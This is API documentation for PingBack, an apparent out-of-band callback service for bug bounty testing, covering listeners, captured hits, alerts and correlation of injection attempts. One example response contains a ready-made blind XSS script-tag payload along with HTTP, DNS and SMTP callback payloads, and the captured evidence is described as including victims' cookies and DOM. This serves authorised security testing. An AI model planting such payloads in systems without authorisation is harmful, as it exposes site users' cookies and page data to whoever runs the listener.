API v1 · Pro only

Automate the full callback workflow.

Create listeners, poll evidence, manage lifecycle and alerts, register the request that received each payload, and retrieve graph-ready relationships. The API uses revocable tokens so your Pro account key never needs to appear in scripts.

Recommended workflow

01 · TOKEN

Create a revocable API token from My listeners.

02 · LISTENER

Create or select a reusable listener and keep its numeric id.

03 · CORRELATE

Register the exact injection attempt before sending the generated payload.

04 · POLL

Fetch new hits with since_id and follow next_since_id.

Base URL: https://pingback.sh/api/v1. Responses are JSON. FREE keys cannot use this API.

Authentication

Send a revocable Pro API token in the Bearer header. Raw account keys are intentionally rejected; listener dashboard tokens are rejected too by /api/v1/*.

Authorization: Bearer pba_your_revocable_token

Tokens currently receive these scopes: listeners:read, listeners:write, hits:read, injections:write and network:read. Revoking one token does not invalidate your dashboards or other integrations.

Errors, pagination and limits

StatusMeaningTypical fix
400Invalid JSON, action or parameterCheck the request body and required fields.
401Missing, invalid, expired or revoked tokenCreate a new token or check the Bearer header.
403Token lacks the required scopeUse a token with the correct scope.
404Listener does not belong to this accountUse an ID returned by the listeners endpoint.
429API rate limit reachedBack off and retry later.
{ "error": "Invalid or expired API token" }

Hit pages accept limit from 1 to 250. Use meta.next_since_id as the next since_id. The configured default API limit is 600 requests per token per hour.

Listeners

GET/listeners.php?include_archived=1

Lists listeners owned by the Pro account, ordered by recent activity. Each item includes the listener ID, host, label, hit counters, status, expiry and enabled notification channels.

curl -s 'https://pingback.sh/api/v1/listeners.php?include_archived=1' \ -H 'Authorization: Bearer pba_your_token'
POST/listeners.php

Create a listener or perform a lifecycle action.

curl -s 'https://pingback.sh/api/v1/listeners.php' \ -H 'Authorization: Bearer pba_your_token' \ -H 'Content-Type: application/json' \ -d '{"action":"create","label":"acme · support blind-xss"}'
ActionRequired fieldsPurpose
createlabel optionalCreate a reusable Pro listener.
renamelistener_id, labelChange the private label.
clear_hitslistener_idDelete captures but keep the listener.
archive / restorelistener_idHide or reactivate a listener.
renewlistener_idExtend the listener using the configured Pro TTL.
deletelistener_idPermanently delete listener and evidence.

Captured evidence

GET/hits.php?listener_id=42&since_id=0&limit=100

Returns full Pro evidence in ascending ID order. Depending on the protocol this can include HTTP request data, SMTP content, DNS details, XSS browser context, origin, URI, referer, accessible cookies, DOM, browser time, iframe state, correlation metadata and a signed screenshot URL.

curl -s 'https://pingback.sh/api/v1/hits.php?listener_id=42&since_id=0&limit=100' \ -H 'Authorization: Bearer pba_your_token'
{ "data": [{"id": 981, "protocol": "xss", "correlation_id": "inj-..."}], "meta": {"count": 1, "next_since_id": 981, "has_more": false, "limit": 100} }

Correlated injections

Correlation answers the question “which exact test caused this callback?” Before injecting a payload, save the target URL, parameter or field, bug type and responsible HTTP request. PingBack creates a unique ID and embeds it in protocol-specific payloads. When one fires days or weeks later, the hit is automatically linked to the original attempt.

Without correlation

You know a Blind XSS or SSRF fired, but must guess which endpoint, parameter or old test caused it.

With correlation

The hit includes the saved target, injection point, label and original request required for a reproducible report.

POST/injections.php
curl -s 'https://pingback.sh/api/v1/injections.php' \ -H 'Authorization: Bearer pba_your_token' \ -H 'Content-Type: application/json' \ -d '{ "listener_id": 42, "label": "Support ticket #1842", "vulnerability_type": "Blind XSS", "target_url": "https://target.example/support", "injection_point": "ticket subject", "request_method": "POST", "responsible_request": "POST /support HTTP/1.1\nHost: target.example\n...", "notes": "Injected from authenticated user A" }'

The response returns one correlation ID and ready-to-use payloads for Blind XSS, HTTP, DNS and SMTP.

{ "data": { "correlation_id": "inj-a1b2c3...", "payloads": { "script": "\"><script src=\"https://listener.pingback.sh/x.js?cid=inj-a1b2c3...\"></script>", "http": "https://listener.pingback.sh/cb?cid=inj-a1b2c3...", "dns": "inj-a1b2c3....listener.pingback.sh", "smtp": "inj-a1b2c3...@listener.pingback.sh" } } }
GET/injections.php?listener_id=42

Lists saved injection attempts and regenerates their protocol payloads. Omit listener_id to list attempts across the account.

Network relationship map

GET/network.php?listener_id=42&limit=350

Returns graph-ready nodes and edges linking the listener, protocols, source IPs, correlated injection IDs and callback sequences. Use it to identify one backend touching several protocols, repeated callbacks from the same browser, or multiple hits generated by one injection attempt.

curl -s 'https://pingback.sh/api/v1/network.php?listener_id=42&limit=350' \ -H 'Authorization: Bearer pba_your_token'

Manage alerts through the API

Send action: notifications to /listeners.php. Email, Discord, Telegram and a generic HTTPS webhook can be configured independently. Generic webhooks may use an HMAC signing secret.

curl -s 'https://pingback.sh/api/v1/listeners.php' \ -H 'Authorization: Bearer pba_your_token' \ -H 'Content-Type: application/json' \ -d '{ "action": "notifications", "listener_id": 42, "email": "hunter@example.com", "telegram_chat_id": "123456789", "discord_webhook": "https://discord.com/api/webhooks/...", "webhook_url": "https://automation.example/pingback", "webhook_secret": "replace-with-a-long-secret" }'

Examples in several languages

The following examples list listeners. Replace the endpoint or body for other operations.

curl -s 'https://pingback.sh/api/v1/listeners.php' \ -H 'Authorization: Bearer pba_your_token'
import requests TOKEN = "pba_your_token" response = requests.get( "https://pingback.sh/api/v1/listeners.php", headers={"Authorization": f"Bearer {TOKEN}"}, timeout=15, ) response.raise_for_status() for listener in response.json()["data"]: print(listener["id"], listener["full_host"], listener["hit_count"])
const token = "pba_your_token"; const response = await fetch("https://pingback.sh/api/v1/listeners.php", { headers: { Authorization: `Bearer ${token}` } }); if (!response.ok) throw new Error(`PingBack API: ${response.status}`); const { data } = await response.json(); for (const listener of data) console.log(listener.id, listener.full_host);
<?php $token = 'pba_your_token'; $ch = curl_init('https://pingback.sh/api/v1/listeners.php'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => ['Authorization: Bearer '.$token], CURLOPT_TIMEOUT => 15, ]); $body = curl_exec($ch); if ($body === false || curl_getinfo($ch, CURLINFO_RESPONSE_CODE) >= 400) { throw new RuntimeException(curl_error($ch) ?: 'PingBack API error'); } $data = json_decode($body, true, flags: JSON_THROW_ON_ERROR); foreach ($data['data'] as $listener) echo $listener['full_host'].PHP_EOL;

Minimal polling worker

Store the last processed hit ID per listener. This avoids downloading the complete history every time.

import time import requests TOKEN = "pba_your_token" LISTENER_ID = 42 since_id = 0 while True: response = requests.get( "https://pingback.sh/api/v1/hits.php", params={"listener_id": LISTENER_ID, "since_id": since_id, "limit": 100}, headers={"Authorization": f"Bearer {TOKEN}"}, timeout=20, ) response.raise_for_status() page = response.json() for hit in page["data"]: print(hit["id"], hit["protocol"], hit.get("correlation_id")) # Send to your own queue, database or report pipeline here. since_id = page["meta"]["next_since_id"] time.sleep(10)

Security guidance

  • Create one token per tool or environment so it can be revoked independently.
  • Keep API tokens in environment variables or a secret manager, not source code.
  • Do not expose listener dashboard tokens in public logs or reports.
  • Use correlation labels that identify the target and injection point without storing unnecessary sensitive data.
  • Generic webhook destinations must use HTTPS; configure an HMAC secret and verify X-PingBack-Signature.
The browser dashboard still uses listener-scoped endpoints such as /api/feed.php?t=pb_…. These legacy endpoints are not the public automation API and should not be used as a replacement for /api/v1/*.